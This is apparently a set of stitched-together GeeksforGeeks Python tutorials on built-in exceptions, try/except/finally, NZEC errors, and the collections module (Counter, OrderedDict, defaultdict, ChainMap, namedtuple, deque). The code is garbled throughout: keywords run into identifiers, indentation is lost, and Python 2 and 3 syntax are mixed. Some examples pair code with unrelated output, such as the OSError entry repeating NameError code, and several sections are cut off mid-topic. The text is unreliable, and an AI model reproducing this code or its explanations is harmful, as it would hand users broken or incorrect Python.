print array['c']
KeyError: 'c'
exception KeyboardInterrupt This error is raised when the user hits the interrupt key such as Control-C or Delete.
Example :
try:
print('Press Return or Ctrl-C:',)
ignored =input()
exceptException, err:
print('Caught exception:', err)
exceptKeyboardInterrupt, err:
print('Caught KeyboardInterrupt')
else:
print('No exception')
Output :
Press Return or Ctrl-C: ^CCaught KeyboardInterrupt
exception MemoryError This error is raised when an operation runs out of memory.
Example :
deffact(a):
factors =[]
fori inrange(1, a+1):
ifa%i ==0:
factors.append(i)
returnfactors
num =600851475143
print(fact(num))
Output :
Traceback (most recent call last):
File "4af5c316c749aff128df20714536b8f3.py", line 9, in
print fact(num)
File "4af5c316c749aff128df20714536b8f3.py", line 3, in fact
for i in range(1, a+1):
MemoryError
exception NameError This error is raised when a local or global name is not found. For example, an unqualified variable name.
Example :
deffunc():
printans
func()
Output :
Traceback (most recent call last):
File "cfba0a5196b05397e0a23b1b5b8c7e19.py", line 4, in
func()
File "cfba0a5196b05397e0a23b1b5b8c7e19.py", line 2, in func
print ans
NameError: global name 'ans' is not defined
exception NotImplementedError This exception is derived from RuntimeError. Abstract methods in user defined classed should raise this exception when the derived classes override the method.
Traceback (most recent call last):
File "b32fc445850cbc23cd2f081ba1c1d60b.py", line 16, in
BaseClass().do_something()
File "b32fc445850cbc23cd2f081ba1c1d60b.py", line 7, in do_something
raise NotImplementedError(self.__class__.__name__ + '.do_something')
NotImplementedError: BaseClass.do_something
exception OSError([arg]) The OSError exception is raised when a system function returns a system-related error, including I/O failures such as “file not found” or “disk full” errors.
Example :
deffunc():
print(ans)
func()
Output :
Traceback (most recent call last):
File "442eccd7535a2704adbe372cb731fc0f.py", line 4, in
print i, os.ttyname(i)
OSError: [Errno 25] Inappropriate ioctl for device
exception OverflowError The OverflowError is raised when the result of an arithmetic operation is out of range. Integers raise MemoryError instead of OverflowError. OverflowError is sometimes raised for integers that are outside a required range. Floating point operations are not checked because of the lack of standardization of floating point exception handling in C.
Example :
importsys
print('Regular integer: (maxint=%s)'%sys.maxint)
try:
i =sys.maxint *3
print('No overflow for ', type(i), 'i =', i)
exceptOverflowError, err:
print('Overflowed at ', i, err)
print()
print('Long integer:')
fori inrange(0, 100, 10):
print('%2d'%i, 2L**i)
print()
print('Floating point values:')
try:
f =2.0**i
fori inrange(100):
print(i, f)
f =f **2
exceptOverflowError, err:
print('Overflowed after ', f, err)
Output :
Regular integer: (maxint=9223372036854775807)
No overflow for i = 27670116110564327421
Long integer:
0 1
10 1024
20 1048576
30 1073741824
40 1099511627776
50 1125899906842624
60 1152921504606846976
70 1180591620717411303424
80 1208925819614629174706176
90 1237940039285380274899124224
Floating point values:
0 1.23794003929e+27
1 1.53249554087e+54
2 2.34854258277e+108
3 5.5156522631e+216
Overflowed after 5.5156522631e+216 (34, 'Numerical result out of range')
exception RecursionError The RecursionError is derived from the RuntimeError. This exception is raised when the interpreter detects that the maximum recursion depth is exceeded.
exception ReferenceError The ReferenceError is raised when a weak reference proxy is used to access an attribute of the referent after the garbage collection.
Example :
importgc
importweakref
classFoo(object):
def__init__(self, name):
self.name =name
def__del__(self):
print('(Deleting %s)'%self)
obj =Foo('obj')
p =weakref.proxy(obj)
print('BEFORE:', p.name)
obj =None
print('AFTER:', p.name)
Output :
BEFORE: obj
(Deleting )
AFTER:
Traceback (most recent call last):
File "49d0c29d8fe607b862c02f4e1cb6c756.py", line 17, in
print 'AFTER:', p.name
ReferenceError: weakly-referenced object no longer exists
exception RuntimeError The RuntimeError is raised when no other exception applies. It returns a string indicating what precisely went wrong.
exception StopIteration The StopIteration error is raised by built-in function next() and an iterator‘s __next__() method to signal that all items are produced by the iterator.
Example :
Arr =[3, 1, 2]
i=iter(Arr)
print(i)
print(i.next())
print(i.next())
print(i.next())
print(i.next())
Output :
3
1
2
Traceback (most recent call last):
File "2136fa9a620e14f8436bb60d5395cc5b.py", line 8, in
print i.next()
StopIteration
exception SyntaxError The SyntaxError is raised when the parser encounters a syntax error. A syntax error may occur in an import statement or while calling the built-in functions exec() or eval(), or when reading the initial script or standard input.
Example :
try:
print(eval('geeks for geeks'))
exceptSyntaxError, err:
print('Syntax error %s (%s-%s): %s'%\
(err.filename, err.lineno, err.offset, err.text))
print(err)
Output :
Syntax error (1-9): geeks for geeks
invalid syntax (, line 1)
exception SystemError The SystemError is raised when the interpreter finds an internal error. The associated value is a string indicating what went wrong.
exception SystemExit The SystemExit is raised when sys.exit() function is called. A call to sys.exit() is translated into an exception to execute clean-up handlers (finally clauses of try statements) and to debug a script without running the risk of losing control.
exception TypeError TypeError is raised when an operation or function is applied to an object of inappropriate type. This exception returns a string giving details about the type mismatch.
Example :
arr =('tuple', ) +'string'
print(arr)
Output :
Traceback (most recent call last):
File "30238c120c0868eba7e13a06c0b1b1e4.py", line 1, in
arr = ('tuple', ) + 'string'
TypeError: can only concatenate tuple (not "str") to tuple
exception UnboundLocalError UnboundLocalError is a subclass of NameError which is raised when a reference is made to a local variable in a function or method, but no value has been assigned to that variable.
Example :
defglobal_name_error():
print(unknown_global_name)
defunbound_local():
local_val =local_val +1
print(local_val)
try:
global_name_error()
exceptNameError, err:
print('Global name error:', err)
try:
unbound_local()
exceptUnboundLocalError, err:
print('Local name error:', err)
Output :
Global name error: global name 'unknown_global_name' is not defined
Local name error: local variable 'local_val' referenced before assignment
exception UnicodeError This exception is a subclass of ValueError. UnicodeError is raised when a Unicode-related encoding or decoding error occurs.
exception ValueError A ValueError is raised when a built-in operation or function receives an argument that has the right type but an invalid value.
Example :
print(int('a'))
Output :
Traceback (most recent call last):
File "44f00efda935715a3c5468d899080381.py", line 1, in
print int('a')
ValueError: invalid literal for int() with base 10: 'a'
exception ZeroDivisionError A ZeroDivisionError is raised when the second argument of a division or modulo operation is zero. This exception returns a string indicating the type of the operands and the operation.
Example :
print(1/0)
Output :
Traceback (most recent call last):
File "c31d9626b41e53d170a78eac7d98cb85.py", line 1, in
print 1/0
ZeroDivisionError: integer division or modulo by zero
This article is contributed by Aditi Gupta. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
Think of a task you will always want your program to do, whether it runs perfectly or raise any kind of error. For example, We use of try statement which has an optional clause – “finally” to perform clean up actions, that must be executed under all conditions. Cleanup actions: Before leaving the try statement, “finally” clause is always executed, whether an exception is raised or not. These are clauses which are intended to define clean-up actions that must be executed under all circumstances. Whenever an exception occurs and is not being handled by the except clause, first finally will occur and then the error is raised as default [Code 3].
Python Programs illustrating “Defining Clean Up Actions”
Code 1 : Code works normally and clean-up action is taken at the end
# Python code to illustrate
# clean up actions
defdivide(x, y):
try:
# Floor Division : Gives only Fractional Part as Answer
result =x //y
exceptZeroDivisionError:
print("Sorry ! You are dividing by zero ")
else:
print("Yeah ! Your answer is:", result)
finally:
print("I'm finally clause, always raised !! ")
# Look at parameters and note the working of Program
divide(3, 2)
Output :
Yeah ! Your answer is : 1
I'm finally clause, always raised !!
Code 2 : Code raise error and is carefully handled in the except clause. Note that Clean-up action is taken at the end.
# Python code to illustrate
# clean up actions
defdivide(x, y):
try:
# Floor Division : Gives only Fractional Part as Answer
result =x //y
exceptZeroDivisionError:
print("Sorry ! You are dividing by zero ")
else:
print("Yeah ! Your answer is:", result)
finally:
print("I'm finally clause, always raised !! ")
# Look at parameters and note the working of Program
divide(3, 0)
Output :
Sorry ! You are dividing by zero
I'm finally clause, always raised !!
Code 3 : Code, raise error but we don’t have any except clause to handle it. So, clean-up action is taken first and then the error(by default) is raised by the compiler.
# Python code to illustrate
# clean up actions
defdivide(x, y):
try:
# Floor Division : Gives only Fractional Part as Answer
result =x //y
exceptZeroDivisionError:
print("Sorry ! You are dividing by zero ")
else:
print("Yeah ! Your answer is:", result)
finally:
print("I'm finally clause, always raised !! ")
# Look at parameters and note the working of Program
divide(3, "3")
Output :
I'm finally clause, always raised !!
Error:
Traceback (most recent call last):
File "C:/Users/DELL/Desktop/Code.py", line 15, in
divide(3, "3")
File "C:/Users/DELL/Desktop/Code.py", line 7, in divide
result = x // y
TypeError: unsupported operand type(s) for //: 'int' and 'str'
This article is contributed by Mohit Gupta_OMG 😀. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
While coding in various competitive sites, many people must have encountered NZEC errors. NZEC (non zero exit code) as the name suggests occurs when your code is failed to return 0. When a code returns 0 it means it is successfully executed otherwise it will return some other number depending on the type of error. When the program ends and it is supposed to return “0” to indicate if finished fine and is not able to do so it causes NZEC. Of course, there are more cases associated with NZEC.
Why does NZEC occur?(one example)
In python, generally, multiple inputs are separated by commas and we read them using input() or int(input()), but most of the online coding platforms while testing gives input separated by space and in those cases, int(input()) is not able to read the input properly and shows error like NZEC.
How to resolve?
For Example, Think of a simple program where you have to read 2 integers and print them(in input file both integers are in same line). Suppose you have two integers as shown below: 23 45 Instead of using :
n = int(input())
k = int(input())
Use:
n, k = raw_input().split(" ")
n = int(n)
k = int(k)
to delimit input by white spaces.
Wrong code
n =int(input())
k =int(input())
printn," ",k
Input: 2 3 When you run the above code in IDE with above input you will get error:-
Traceback (most recent call last):
File "b712edd81d4a972de2a9189fac8a83ed.py", line 1, in
n = int(input())
File "", line 1
2 3
^
SyntaxError: unexpected EOF while parsing
The above code will work fine when the input is in 2 two different lines. You can test yourself. To overcome this problem you need to use split.
Correct code
n, k =raw_input().split(" ")
n =int(n)
k =int(k)
printn," ",k
Input:
7 3
Output:
7 3
Some prominent reasons for NZEC error
Infinite Recursion or if you have run out of stack memory.
Input and output both are NOT exactly same as the test cases.
As the online platforms, test your program using a computer code which matches your output with the specified outputs exactly.
This type of error is also shown when your program is performing basic programming mistakes like dividing by 0.
Check for the values of your variables, they can be vulnerable to integer flow.
There could be some other reasons also for the occurrence NZEC error, I have listed the frequent ones.
This article is contributed by Aakash Tiwari. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
Error in Python can be of two types i.e. Syntax errors and Exceptions. Errors are the problems in a program due to which the program will stop the execution. On the other hand, exceptions are raised when some internal events occur which changes the normal flow of the program. Note: For more information, refer to Errors and Exceptions in Python Some of the common Exception Errors are :
IOError: if the file can’t be opened
KeyboardInterrupt: when an unrequired key is pressed by the user
ValueError: when built-in function receives a wrong argument
EOFError: if End-Of-File is hit without reading any data
ImportError: if it is unable to find the module
Try Except in Python
Try and Except statement is used to handle these errors within our code in Python. The try block is used to check some code for errors i.e the code inside the try block will execute when there is no error in the program. Whereas the code inside the except block will execute whenever the program encounters some error in the preceding try block.
Syntax:
try:
# Some Code
except:
# Executed if error in the
# try block
How try() works?
First, the try clause is executed i.e. the code between try and except clause.
If there is no exception, then only the try clause will run, except the clause is finished.
If any exception occurs, the try clause will be skipped and except clause will run.
If any exception occurs, but the except clause within the code doesn’t handle it, it is passed on to the outer try statements. If the exception is left unhandled, then the execution stops.
A try statement can have more than one except clause
Code 1: No exception, so the try clause will run.
Python3
# Python code to illustrate
# working of try()
defdivide(x, y):
try:
# Floor Division : Gives only Fractional Part as Answer
result =x //y
print("Yeah ! Your answer is :", result)
exceptZeroDivisionError:
print("Sorry ! You are dividing by zero ")
# Look at parameters and note the working of Program
divide(3, 2)
Output :
('Yeah ! Your answer is :', 1)
Code 1: There is an exception so only except clause will run.
Python3
# Python code to illustrate
# working of try()
defdivide(x, y):
try:
# Floor Division : Gives only Fractional Part as Answer
result =x //y
print("Yeah ! Your answer is :", result)
exceptZeroDivisionError:
print("Sorry ! You are dividing by zero ")
# Look at parameters and note the working of Program
divide(3, 0)
Output :
Sorry ! You are dividing by zero
Else Clause
In python, you can also use the else clause on the try-except block which must be present after all the except clauses. The code enters the else block only if the try clause does not raise an exception.
Syntax:
try:
# Some Code
except:
# Executed if error in the
# try block
else:
# execute if no exception
Code:
Python3
# Program to depict else clause with try-except
# Function which returns a/b
defAbyB(a , b):
try:
c =((a+b) //(a-b))
exceptZeroDivisionError:
print("a/b result in 0")
else:
print(c)
# Driver program to test above function
AbyB(2.0, 3.0)
AbyB(3.0, 3.0)
Output:
-5.0
a/b result in 0
Finally Keyword in Python
Python provides a keyword finally, which is always executed after the try and except blocks. The final block always executes after normal termination of try block or after try block terminates due to some exceptions.
Syntax:
try:
# Some Code
except:
# Executed if error in the
# try block
else:
# execute if no exception
finally:
# Some code .....(always executed)
This article is contributed by Mohit Gupta_OMG 😀. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
My Personal Notesarrow_drop_up
Counters in Python | Set 1 (Initialization and Updation)
Counter is a container included in the collections module. Now you all must be wondering what is a container. Don’t worry first let’s discuss about the container.
What is Container?
Containers are objects that hold objects. They provide a way to access the contained objects and iterate over them. Examples of built in containers are Tuple, list, and dictionary. Others are included in Collections module. A Counter is a subclass of dict. Therefore it is an unordered collection where elements and their respective count are stored as a dictionary. This is equivalent to a bag or multiset of other languages. Syntax :
class collections.Counter([iterable-or-mapping])
Initialization : The constructor of counter can be called in any one of the following ways :
With sequence of items
With dictionary containing keys and counts
With keyword arguments mapping string names to counts
Example of each type of initialization :
Python3
# A Python program to show different ways to create
Data can be provided in any of the three ways as mentioned in initialization and the counter’s data will be increased not replaced.
Counts can be zero and negative also.
Python3
# Python program to demonstrate that counts in
# Counter can be 0 and negative
fromcollections importCounter
c1 =Counter(A=4, B=3, C=10)
c2 =Counter(A=10, B=3, C=4)
c1.subtract(c2)
print(c1)
Output :
Counter({'c': 6, 'B': 0, 'A': -6})
We can use Counter to count distinct elements of a list or other collections.
Python3
# An example program where different list items are
# counted using counter
fromcollections importCounter
# Create a list
z =['blue', 'red', 'blue', 'yellow', 'blue', 'red']
# Count distinct elements and print Counter aobject
print(Counter(z))
Output:
Counter({'blue': 3, 'red': 2, 'yellow': 1})
This article is contributed by Mayank Rawat .If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
An OrderedDict is a dictionary subclass that remembers the order that keys were first inserted. The only difference between dict() and OrderedDict() is that:
OrderedDict preserves the order in which the keys are inserted. A regular dict doesn’t track the insertion order and iterating it gives the values in an arbitrary order. By contrast, the order the items are inserted is remembered by OrderedDict.
Python3
# A Python program to demonstrate working of OrderedDict
fromcollections importOrderedDict
print("This is a Dict:\n")
d ={}
d['a'] =1
d['b'] =2
d['c'] =3
d['d'] =4
forkey, value ind.items():
print(key, value)
print("\nThis is an Ordered Dict:\n")
od =OrderedDict()
od['a'] =1
od['b'] =2
od['c'] =3
od['d'] =4
forkey, value inod.items():
print(key, value)
Output:
This is a Dict:
a 1
c 3
b 2
d 4
This is an Ordered Dict:
a 1
b 2
c 3
d 4
Important Points:
1. Key value Change: If the value of a certain key is changed, the position of the key remains unchanged in OrderedDict.
Python3
# A Python program to demonstrate working of key
# value change in OrderedDict
fromcollections importOrderedDict
print("Before:\n")
od =OrderedDict()
od['a'] =1
od['b'] =2
od['c'] =3
od['d'] =4
forkey, value inod.items():
print(key, value)
print("\nAfter:\n")
od['c'] =5
forkey, value inod.items():
print(key, value)
Output:
Before:
a 1
b 2
c 3
d 4
After:
a 1
b 2
c 5
d 4
2. Deletion and Re-Inserting: Deleting and re-inserting the same key will push it to the back as OrderedDict, however, maintains the order of insertion.
Python3
# A Python program to demonstrate working of deletion
# re-insertion in OrderedDict
fromcollections importOrderedDict
print("Before deleting:\n")
od =OrderedDict()
od['a'] =1
od['b'] =2
od['c'] =3
od['d'] =4
forkey, value inod.items():
print(key, value)
print("\nAfter deleting:\n")
od.pop('c')
forkey, value inod.items():
print(key, value)
print("\nAfter re-inserting:\n")
od['c'] =3
forkey, value inod.items():
print(key, value)
Output:
Before deleting:
a 1
b 2
c 3
d 4
After deleting:
a 1
b 2
d 4
After re-inserting:
a 1
b 2
d 4
c 3
Other Considerations:
Ordered dict in Python version 2.7 consumes more memory than normal dict. This is due to the underlying Doubly Linked List implementation for keeping the order. In Python 2.7 Ordered Dict is not dict subclass, it’s a specialized container from collections module.
Starting from Python 3.7, insertion order of Python dictionaries is guaranteed.
Ordered Dict can be used as a stack with the help of popitem function. Try implementing LRU cache with Ordered Dict.
This article is contributed by Sri Sanketh Uppalapati. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
Dictionary in Python is an unordered collection of data values that are used to store data values like a map. Unlike other Data Types that hold only single value as an element, the Dictionary holds key-value pair. In Dictionary, the key must be unique and immutable. This means that a Python Tuple can be a key whereas a Python List can not. A Dictionary can be created by placing a sequence of elements within curly {} braces, separated by ‘comma’.
Traceback (most recent call last):
File "/home/1ca83108cc81344dc7137900693ced08.py", line 11, in
print(Dict[4])
KeyError: 4
Sometimes, when the KeyError is raised, it might become a problem. To overcome this Python introduces another dictionary like container known as Defaultdict which is present inside the collections module. Note: For more information, refer to Python Dictionary.
DefaultDict
Defaultdict is a container like dictionaries present in the module collections. Defaultdict is a sub-class of the dictionary class that returns a dictionary-like object. The functionality of both dictionaries and defaultdict are almost same except for the fact that defaultdict never raises a KeyError. It provides a default value for the key that does not exists.
Syntax: defaultdict(default_factory) Parameters:
default_factory: A function returning the default value for the dictionary defined. If this argument is absent then the dictionary raises a KeyError.
Example:
Python3
# Python program to demonstrate
# defaultdict
fromcollections importdefaultdict
# Function to return a default
# values for keys that is not
# present
defdef_value():
return"Not Present"
# Defining the dict
d =defaultdict(def_value)
d["a"] =1
d["b"] =2
print(d["a"])
print(d["b"])
print(d["c"])
Output:
1
2
Not Present
Inner Working of defaultdict
Defaultdict adds one writable instance variable and one method in addition to the standard dictionary operations. The instance variable is the default_factory parameter and the method provided is __missing__.
Default_factory: It is a function returning the default value for the dictionary defined. If this argument is absent then the dictionary raises a KeyError. Example:
Python3
# Python program to demonstrate
# default_factory argument of
# defaultdict
fromcollections importdefaultdict
# Defining the dict and passing
# lambda as default_factory argument
d =defaultdict(lambda: "Not Present")
d["a"] =1
d["b"] =2
print(d["a"])
print(d["b"])
print(d["c"])
Output:
1
2
Not Present
__missing__(): This function is used to provide the default value for the dictionary. This function takes default_factory as an argument and if this argument is None, a KeyError is raised otherwise it provides a default value for the given key. This method is basically called by the __getitem__() method of the dict class when the requested key is not found. __getitem__() raises or return the value returned by the __missing__(). method. Example:
Python3
# Python program to demonstrate
# defaultdict
fromcollections importdefaultdict
# Defining the dict
d =defaultdict(lambda: "Not Present")
d["a"] =1
d["b"] =2
# Provides the default value
# for the key
print(d.__missing__('a'))
print(d.__missing__('d'))
Output:
Not Present
Not Present
Using List as default_factory
When the list class is passed as the default_factory argument, then a defaultdict is created with the values that are list. Example:
Python3
# Python program to demonstrate
# defaultdict
fromcollections importdefaultdict
# Defining a dict
d =defaultdict(list)
fori inrange(5):
d[i].append(i)
print("Dictionary with values as list:")
print(d)
Output:
Dictionary with values as list:
defaultdict(<class 'list'>, {0: [0], 1: [1], 2: [2], 3: [3], 4: [4]})
Using int as default_factory
When the int class is passed as the default_factory argument, then a defaultdict is created with default value as zero. Example:
This function is used to display all the keys of all the dictionaries in ChainMap.
values() :- This function is used to display values of all the dictionaries in ChainMap.
maps() :- This function is used to display keys with corresponding values of all the dictionaries in ChainMap.
# Please select Python 3 for running this code in IDE
# Python code to demonstrate ChainMap and
# keys(), values() and maps
# importing collections for ChainMap operations
importcollections
# initializing dictionaries
dic1 ={ 'a': 1, 'b': 2}
dic2 ={ 'b': 3, 'c': 4}
# initializing ChainMap
chain =collections.ChainMap(dic1, dic2)
# printing chainMap using maps
print("All the ChainMap contents are : ")
print(chain.maps)
# printing keys using keys()
print("All keys of ChainMap are : ")
print(list(chain.keys()))
# printing keys using keys()
print("All values of ChainMap are : ")
print(list(chain.values()))
Output :
All the ChainMap contents are :
[{'b': 2, 'a': 1}, {'c': 4, 'b': 3}]
All keys of ChainMap are :
['a', 'c', 'b']
All values of ChainMap are :
[1, 4, 2]
Note : Notice the key named “b” exists in both dictionaries, but only first dictionary key is taken as key value of “b”. Ordering is done as the dictionaries are passed in function.
Manipulating Operations
new_child() :-
This function adds a new dictionary in the beginning of the ChainMap.
reversed() :- This function reverses the relative ordering of dictionaries in the ChainMap.
# Please select Python 3 for running this code in IDE
# Python code to demonstrate ChainMap and
# reversed() and new_child()
# importing collections for ChainMap operations
importcollections
# initializing dictionaries
dic1 ={ 'a': 1, 'b': 2}
dic2 ={ 'b': 3, 'c': 4}
dic3 ={ 'f': 5}
# initializing ChainMap
chain =collections.ChainMap(dic1, dic2)
# printing chainMap using map
print("All the ChainMap contents are : ")
print(chain.maps)
# using new_child() to add new dictionary
chain1 =chain.new_child(dic3)
# printing chainMap using map
print("Displaying new ChainMap : ")
print(chain1.maps)
# displaying value associated with b before reversing
print("Value associated with b before reversing is : ",end="")
print(chain1['b'])
# reversing the ChainMap
chain1.maps =reversed(chain1.maps)
# displaying value associated with b after reversing
print("Value associated with b after reversing is : ",end="")
print(chain1['b'])
Output :
All the ChainMap contents are :
[{'b': 2, 'a': 1}, {'b': 3, 'c': 4}]
Displaying new ChainMap :
[{'f': 5}, {'b': 2, 'a': 1}, {'b': 3, 'c': 4}]
Value associated with b before reversing is : 2
Value associated with b after reversing is : 3
This article is contributed by Manjeet Singh. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
Python supports a type of container like dictionaries called “namedtuple()” present in the module, “collections“. Like dictionaries, they contain keys that are hashed to a particular value. But on contrary, it supports both access from key-value and iteration, the functionality that dictionaries lack.
print("The Student age using index is : ", end="")
print(S[1])
# Access using name
print("The Student name using keyname is : ", end="")
print(S.name)
Output:
The Student age using index is : 19
The Student name using keyname is : Nandini
Let’s see various Operations on namedtuple()
Access Operations
Access by index: The attribute values of namedtuple() are ordered and can be accessed using the index number unlike dictionaries which are not accessible by index.
Access by keyname: Access by keyname is also allowed as in dictionaries.
using getattr(): This is yet another way to access the value by giving namedtuple and key value as its argument.
print("The Student age using index is : ", end="")
print(S[1])
# Access using name
print("The Student name using keyname is : ", end="")
print(S.name)
# Access using getattr()
print("The Student DOB using getattr() is : ", end="")
print(getattr(S, 'DOB'))
Output :
The Student age using index is : 19
The Student name using keyname is : Nandini
The Student DOB using getattr() is : 2541997
Conversion Operations
_make() :- This function is used to return a namedtuple() from the iterable passed as argument.
_asdict() :- This function returns the OrderedDict() as constructed from the mapped values of namedtuple().
using “**” (double star) operator :- This function is used to convert a dictionary into the namedtuple().
Python3
# Python code to demonstrate namedtuple() and
# _make(), _asdict() and "**" operator
# importing "collections" for namedtuple()
importcollections
# Declaring namedtuple()
Student =collections.namedtuple('Student',
['name', 'age', 'DOB'])
# Adding values
S =Student('Nandini', '19', '2541997')
# initializing iterable
li =['Manjeet', '19', '411997']
# initializing dict
di ={'name': "Nikhil", 'age': 19, 'DOB': '1391997'}
# using _make() to return namedtuple()
print("The namedtuple instance using iterable is : ")
print(Student._make(li))
# using _asdict() to return an OrderedDict()
print("The OrderedDict instance using namedtuple is : ")
print(S._asdict())
# using ** operator to return namedtuple from dictionary
print("The namedtuple instance from dict is : ")
print(Student(**di))
Output :
The namedtuple instance using iterable is :
Student(name='Manjeet', age='19', DOB='411997')
The OrderedDict instance using namedtuple is :
OrderedDict([('name', 'Nandini'), ('age', '19'), ('DOB', '2541997')])
The namedtuple instance from dict is :
Student(name='Nikhil', age=19, DOB='1391997')
Additional Operation
_fields: This function is used to return all the keynames of the namespace declared.
_replace(): _replace() is like str.replace() but targets named fields( does not modify the original values)
# using _fields to display all the keynames of namedtuple()
print("All the fields of students are : ")
print(S._fields)
# ._replace returns a new namedtuple, it does not modify the original
print("returns a new namedtuple : ")
print(S._replace(name='Manjeet'))
# original namedtuple
print(S)
Output :
All the fields of students are :
('name', 'age', 'DOB')
The modified namedtuple is :
Student(name='Manjeet', age='19', DOB='2541997')
This article is contributed by Manjeet Singh. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
Deque (Doubly Ended Queue) in Python is implemented using the module “collections“. Deque is preferred over a list in the cases where we need quicker append and pop operations from both the ends of the container, as deque provides an O(1) time complexity for append and pop operations as compared to list which provides O(n) time complexity.
Example:
Python3
# Python code to demonstrate deque
fromcollections importdeque
# Declaring deque
queue =deque(['name','age','DOB'])
print(queue)
Output:
deque(['name', 'age', 'DOB'])
Let’s see various Operations on deque :
append():- This function is used to insert the value in its argument to the right end of the deque.
appendleft():- This function is used to insert the value in its argument to the left end of the deque.
pop():- This function is used to delete an argument from the right end of the deque.
popleft():- This function is used to delete an argument from the left end of the deque.
Python3
# Python code to demonstrate working of
# append(), appendleft(), pop(), and popleft()
# importing "collections" for deque operations
importcollections
# initializing deque
de =collections.deque([1,2,3])
# using append() to insert element at right end
# inserts 4 at the end of deque
de.append(4)
# printing modified deque
print("The deque after appending at right is : ")
print(de)
# using appendleft() to insert element at left end
# inserts 6 at the beginning of deque
de.appendleft(6)
# printing modified deque
print("The deque after appending at left is : ")
print(de)
# using pop() to delete element from right end
# deletes 4 from the right end of deque
de.pop()
# printing modified deque
print("The deque after deleting from right is : ")
print(de)
# using popleft() to delete element from left end
# deletes 6 from the left end of deque
de.popleft()
# printing modified deque
print("The deque after deleting from left is : ")
print(de)
Output:
The deque after appending at right is :
deque([1, 2, 3, 4])
The deque after appending at left is :
deque([6, 1, 2, 3, 4])
The deque after deleting from right is :
deque([6, 1, 2, 3])
The deque after deleting from left is :
deque([1, 2, 3])
index(ele, beg, end):- This function returns the first index of the value mentioned in arguments, starting searching from beg till end index.
insert(i, a) :- This function inserts the value mentioned in arguments(a) at index(i) specified in arguments.
remove():- This function removes the first occurrence of value mentioned in arguments.
count():- This function counts the number of occurrences of value mentioned in arguments.
Python3
# Python code to demonstrate working of
# insert(), index(), remove(), count()
# importing "collections" for deque operations
importcollections
# initializing deque
de =collections.deque([1, 2, 3, 3, 4, 2, 4])
# using index() to print the first occurrence of 4
print("The number 4 first occurs at a position : ")
print(de.index(4,2,5))
# using insert() to insert the value 3 at 5th position
de.insert(4,3)
# printing modified deque
print("The deque after inserting 3 at 5th position is : ")
print(de)
# using count() to count the occurrences of 3
print("The count of 3 in deque is : ")
print(de.count(3))
# using remove() to remove the first occurrence of 3
de.remove(3)
# printing modified deque
print("The deque after deleting first occurrence of 3 is : ")
print(de)
Output:
The number 4 first occurs at a position :
4
The deque after inserting 3 at 5th position is :
deque([1, 2, 3, 3, 3, 4, 2, 4])
The count of 3 in deque is :
3
The deque after deleting first occurrence of 3 is :
deque([1, 2, 3, 3, 4, 2, 4])
extend(iterable):- This function is used to add multiple values at the right end of the deque. The argument passed is iterable.
extendleft(iterable):- This function is used to add multiple values at the left end of the deque. The argument passed is iterable. Order is reversed as a result of left appends.
reverse():- This function is used to reverse the order of deque elements.
rotate():- This function rotates the deque by the number specified in arguments. If the number specified is negative, rotation occurs to the left. Else rotation is to right.
Python3
# Python code to demonstrate working of
# extend(), extendleft(), rotate(), reverse()
# importing "collections" for deque operations
importcollections
# initializing deque
de =collections.deque([1, 2, 3,])
# using extend() to add numbers to right end
# adds 4,5,6 to right end
de.extend([4,5,6])
# printing modified deque
print("The deque after extending deque at end is : ")
print(de)
# using extendleft() to add numbers to left end
# adds 7,8,9 to left end
de.extendleft([7,8,9])
# printing modified deque
print("The deque after extending deque at beginning is : ")
print(de)
# using rotate() to rotate the deque
# rotates by 3 to left
de.rotate(-3)
# printing modified deque
print("The deque after rotating deque is : ")
print(de)
# using reverse() to reverse the deque
de.reverse()
# printing modified deque
print("The deque after reversing deque is : ")
print(de)
Output :
The deque after extending deque at end is :
deque([1, 2, 3, 4, 5, 6])
The deque after extending deque at beginning is :
deque([9, 8, 7, 1, 2, 3, 4, 5, 6])
The deque after rotating deque is :
deque([1, 2, 3, 4, 5, 6, 9, 8, 7])
The deque after reversing deque is :
deque([7, 8, 9, 6, 5, 4, 3, 2, 1])
This article is contributed by Manjeet Singh. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
Heap data structure is mainly used to represent a priority queue. In Python, it is available using “heapq” module. The property of this data structure in Python is that each time the smallest of heap element is popped(min heap). Whenever elements are pushed or popped, heap structure in maintained. The heap[0] element also returns the smallest element each time.
Let’s see various Operations on heap :
heapify(iterable)
:- This function is used to convert the iterable into a heap data structure. i.e. in heap order.
heappush(heap, ele) :- This function is used to insert the element mentioned in its arguments into heap. The order is adjusted, so as heap structure is maintained.
heappop(heap) :- This function is used to remove and return the smallest element from heap. The order is adjusted, so as heap structure is maintained.
